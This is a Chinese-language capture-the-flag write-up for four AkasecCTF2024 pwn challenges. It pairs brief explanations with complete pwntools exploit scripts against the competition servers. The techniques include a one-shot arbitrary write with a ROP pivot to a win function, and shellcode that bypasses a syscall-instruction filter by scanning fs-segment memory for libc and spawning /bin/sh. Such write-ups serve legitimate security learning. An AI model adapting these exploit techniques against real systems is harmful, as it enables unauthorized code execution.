# AkasecCTF2024 WriteUp-Pwn
# yapping
# 题目分析
一个纯汇编搓的程序,也就没有动态链接了。
没有栈溢出
但是能够覆盖栈上面保存的循环使用的 i 变量。用过修改这个变量实现一次任意地址写。
存在后门函数:win 函数
但是需要先修改 bss 上面的变量才能通过检查拿到 flag。
因此我们需要干的事情就是:
1. 修改 bss 上面的变量
2. 劫持程序执行流到 win 函数。
# 解题思路
但是我们只有一次写地址机会,如果直接劫持 vuln 函数的返回地址肯定无法干那么多事情。
我们于是开始尽可能利用现有的 buf
他调用 read 函数没有直接 syscall,而是调用了一个函数之后进行 syscall。
我们尝试劫持这个函数的执行流,让它返回到我们提前布置在 buf 里面的 ROP 链子。
(这时候有人就说了:都能执行 ROP 了为什么不直接搓个 ORW 的链子?Ans:因为程序是汇编搓的,所以 gadgets 几乎就是没有。还是要调用 win 函数)
至于更改 bss 的变量,vuln 函数中定位 buf 使用的是 rbp 寄存器,于是我们劫持执行流的时候把 rbp 更改了就行了。
(Q:你只能写 8 字节的内容,为什么能同时改 rbp 和返回地址?A: 我们从 rbp 低第 2 位开始写,改到返回地址最低一个字节正好 8 字节,返回地址最低一位改成 0x60 就能返回到 ret 指令,之后 ret 到我们 buf 布置的 ROP 链子,rbp 就只剩最低一位无法控制,我们直接爆破就行,就能劫持 rbp 到 bss 上面,之后调用 vuln 函数就能修改 bss 上面的变量,之后 vuln 函数结束 ret 到 win 函数就可以了)
# Exp
# sudo sysctl -w kernel.randomize_va_space=0 | |
from pwn import* | |
from Crypto.Util.number import long_to_bytes,bytes_to_long | |
context.log_level='debug' | |
context(arch='amd64',os='linux') | |
context.terminal=['tmux','splitw','-h'] | |
pwn = './pwn' | |
p=remote('20.80.240.190',14124) | |
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'}) | |
# p=process('./pwn') | |
# gdb.attach(p,"b *0x401115") | |
#elf=ELF(pwn) | |
#libc=ELF('./libc.so.6') | |
payload1=p64(0x4011F4)+p64(0x401160)+p64(0x401160) | |
payload=payload1*4+p64(0xFFFFFFe9ffffffff)+p64(0xFFFFFFe9ffffffff)+p64(0x6000000000004040) | |
p.send(payload) | |
# pause() | |
# p.send(p64(0x6000000000004040)) | |
pause() | |
payload2=p64(0x6e696d6461)*16 | |
p.send(payload2) | |
#0x6e696d6461 | |
p.interactive() |
# the_absolute_horror_of_the_trip
# 题目分析
一道 shellcode 题目
buf 地址已知,pie 开启
刚开始就给了 puts 函数的低 4 字节
过滤了 buf 中的 syscall , int 0x80 , sysenter 指令,之后设置 buf 为 r-xp,寄存器除了已知的 buf 地址全清空了。(非常逆天)
在没有 syscall 的情况下我们肯定要调用 elf 的函数来之后进行操作。最重要的就是拿到 elf,libc,ld 之类的地址。
# 解题思路
除了 rdi 之类的通用寄存器,程序还有着 cs fs ss 等段寄存器。fs 寄存器加上偏移就能拿到一些地址。
经过测验,fs:[0x00/0x08/0x10] 存储的是 libc 前面的一个段的地址,在那个段我们可以找到 libc 基址,但是实测加上偏移的方法在本地可以 100% 拿 shell,但是远程就 100% 不行。
猜测是本地和远程 ld 不同或者操作系统(好像远程是 archlinux)导致段内的环境不同。因此直接写个循环在段内搜索,匹配给出的 puts 函数低字节来找到 libc 地址,从而拿到基址。
低 4 字节我们知道,但是高 2 字节不知道,我们就是要找到一个 libc 的地址就能直接知道了。
知道 libc 基址之后就能直接 orw 或者 execve 拿 shell 了。
# Exp
# sudo sysctl -w kernel.randomize_va_space=0 | |
from pwn import* | |
from Crypto.Util.number import long_to_bytes,bytes_to_long | |
context.log_level='debug' | |
context(arch='amd64',os='linux') | |
context.terminal=['tmux','splitw','-h'] | |
pwn = './pwn' | |
p=remote('172.210.129.230',1369) | |
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'}) | |
# p=process('./pwn') | |
# gdb.attach(p) | |
#elf=ELF(pwn) | |
#libc=ELF('./libc.so.6') | |
# 0x6969696969 0x6969696000 | |
# 0x1337131369 0x1337131000 | |
# mov rcx,0x000075f74baeeac0 | |
# sub rdi,rcx | |
# mov rcx,0x75f74b96d000 | |
# add rdi,rcx | |
p.recvuntil("0x") | |
add=int(p.recv(8),16)-0x079BF0 | |
print(hex(add)) | |
code=f''' | |
st1: | |
nop | |
st: | |
mov rdi,fs:0x0 | |
mov rsi,0xdddddd | |
cmp rdi,rsi | |
jl st1 | |
mov rcx, 0xf0000 | |
loop_start: | |
mov rax, [rdi] | |
mov r8,{add} | |
mov r10,r8 | |
mov rbx,0x00000000fff00000 | |
mov r9, 0x00000000fff00000 | |
and rax, rbx | |
and r8,rbx | |
cmp rax,r8 | |
jne loop_end | |
mov rdi, [rdi] | |
mov rbx,0xffffffff00000000 | |
and rdi,rbx | |
add rdi,r10 | |
jmp after | |
loop_end: | |
add rdi, 8 | |
dec rcx | |
jnz loop_start | |
after: | |
add rdi,0x3E717 | |
mov rbx,rdi | |
mov rsp,0x69696b6000 | |
mov rcx,0x68732f6e69622f | |
mov [rsp],rcx | |
mov rdi,rsp | |
xor rax,rax | |
mov rax,59 | |
mov rcx,0x353f | |
xor rcx,0x3030 | |
xor rdx,rdx | |
xor rsi,rsi | |
jmp rbx | |
''' | |
# mov rcx,0x7ed10ca85740 | |
# sub rdi,rcx | |
# mov rcx,0x7ed10ca88000 | |
# add rdi,rcx | |
# jmp rbx | |
p.sendline(asm(code)) | |
p.sendline("ls") | |
p.interactive() |
# good_trip
# 题目分析
上面一题的简化版本。
# Exp
# sudo sysctl -w kernel.randomize_va_space=0 | |
from pwn import* | |
from Crypto.Util.number import long_to_bytes,bytes_to_long | |
context.log_level='debug' | |
context(arch='amd64',os='linux') | |
context.terminal=['tmux','splitw','-h'] | |
pwn = './pwn' | |
p=remote('172.210.129.230',1351) | |
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'}) | |
# p=process('./pwn') | |
# gdb.attach(p) | |
#elf=ELF(pwn) | |
#libc=ELF('./libc.so.6') | |
# 0x6969696969 0x6969696000 | |
# 0x1337131369 0x1337131000 | |
# mov rcx,0x000075f74baeeac0 | |
# sub rdi,rcx | |
# mov rcx,0x75f74b96d000 | |
# add rdi,rcx | |
p.sendlineafter("code size",str(0x999)) | |
code=''' | |
mov rsp,0x404800 | |
mov rdi,0x1337131000 | |
mov rsi,0x1000 | |
mov rdx,0x7 | |
mov rcx,0x401090 | |
call rcx | |
mov rdi,0 | |
mov rsi,0x1337131100 | |
mov rdx,0x100 | |
mov rcx,0x401060 | |
call rcx | |
mov rcx,0x1337131100 | |
call rcx | |
''' | |
p.sendline(asm(code)) | |
pause() | |
p.sendline(asm(shellcraft.sh())) | |
# p.sendline("ls") | |
p.interactive() |
# bad_trip
# 题目分析
依旧是简化版本,但是 exp 通用),还好我先做的难的)
# Exp
# sudo sysctl -w kernel.randomize_va_space=0 | |
from pwn import* | |
from Crypto.Util.number import long_to_bytes,bytes_to_long | |
context.log_level='debug' | |
context(arch='amd64',os='linux') | |
context.terminal=['tmux','splitw','-h'] | |
pwn = './pwn' | |
p=remote('172.210.129.230',1352) | |
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'}) | |
# p=process('./pwn') | |
# gdb.attach(p) | |
#elf=ELF(pwn) | |
#libc=ELF('./libc.so.6') | |
# 0x6969696969 0x6969696000 | |
# 0x1337131369 0x1337131000 | |
# mov rcx,0x000075f74baeeac0 | |
# sub rdi,rcx | |
# mov rcx,0x75f74b96d000 | |
# add rdi,rcx | |
p.recvuntil("0x") | |
add=int(p.recv(8),16)-0x079BF0 | |
print(hex(add)) | |
code=f''' | |
st1: | |
nop | |
st: | |
mov rdi,fs:0x0 | |
mov rsi,0xdddddd | |
cmp rdi,rsi | |
jl st1 | |
mov rcx, 0xf0000 | |
loop_start: | |
mov rax, [rdi] | |
mov r8,{add} | |
mov r10,r8 | |
mov rbx,0x00000000fff00000 | |
mov r9, 0x00000000fff00000 | |
and rax, rbx | |
and r8,rbx | |
cmp rax,r8 | |
jne loop_end | |
mov rdi, [rdi] | |
mov rbx,0xffffffff00000000 | |
and rdi,rbx | |
add rdi,r10 | |
jmp after | |
loop_end: | |
add rdi, 8 | |
dec rcx | |
jnz loop_start | |
after: | |
add rdi,0x3E717 | |
mov rbx,rdi | |
mov rsp,0x69696b6000 | |
mov rcx,0x68732f6e69622f | |
mov [rsp],rcx | |
mov rdi,rsp | |
xor rax,rax | |
mov rax,59 | |
mov rcx,0x353f | |
xor rcx,0x3030 | |
xor rdx,rdx | |
xor rsi,rsi | |
jmp rbx | |
''' | |
# mov rcx,0x7ed10ca85740 | |
# sub rdi,rcx | |
# mov rcx,0x7ed10ca88000 | |
# add rdi,rcx | |
# jmp rbx | |
p.sendline(asm(code)) | |
p.sendline("ls") | |
p.interactive() |
# 总结
题目质量还挺高的。难度中等。